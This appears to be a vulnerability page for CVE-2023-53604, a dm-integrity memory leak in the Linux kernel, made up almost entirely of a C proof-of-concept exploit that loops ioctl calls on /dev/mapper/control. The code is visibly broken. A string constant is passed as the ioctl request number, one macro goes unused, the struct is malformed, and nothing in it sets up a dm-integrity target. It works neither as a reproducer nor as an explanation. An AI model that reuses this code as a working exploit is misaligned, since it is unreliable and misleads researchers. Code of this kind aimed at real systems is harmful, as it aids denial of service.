CVE-2023-53604 Linux内核dm-integrity内存泄漏漏洞

/* PoC for CVE-2023-53604 - dm-integrity memory leak * This PoC demonstrates the memory leak by repeatedly attempting * to initialize dm-integrity in a way that triggers the error path. * * Note: This requires kernel module manipulation capabilities. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define DM_IOCTL 0xfd #define DM_VERSION "4.47.0" struct dm_ioctl { unsigned int version[3]; unsigned int data_size; unsigned int data_start; unsigned int target_count; unsigned int open_count; unsigned int flags; unsigned int event_nr; unsigned int padding; unsigned int dev; char name[128]; char uuid[129]; char data[7]; }; int main(int argc, char *argv[]) { int fd; struct dm_ioctl ioctl_data; int iterations = (argc > 1) ? atoi(argv[1]) : 100; printf("CVE-2023-53604 PoC - dm-integrity memory leak\n"); printf("Triggering %d initialization attempts...\n", iterations); fd = open("/dev/mapper/control", O_RDWR); if (fd < 0) { perror("Cannot open /dev/mapper/control"); printf("This PoC requires root privileges and dm-integrity support\n"); return 1; } /* Attempt to create dm-integrity targets that will fail, * triggering the error path that leaks journal_io_cache */ for (int i = 0; i < iterations; i++) { memset(&ioctl_data, 0, sizeof(ioctl_data)); ioctl_data.version[0] = 4; ioctl_data.version[1] = 47; ioctl_data.version[2] = 0; ioctl_data.data_size = sizeof(ioctl_data); ioctl_data.data_start = sizeof(ioctl_data); snprintf(ioctl_data.name, sizeof(ioctl_data.name), "test%d", i); /* This will trigger dm_integrity_init() -> potentially fail * without cleaning up journal_io_cache */ if (ioctl(fd, DM_VERSION, &ioctl_data) < 0) { // Expected to fail, but leak memory each time } } close(fd); printf("Done. Check /proc/slabinfo for journal_io_cache entries.\n"); return 0; }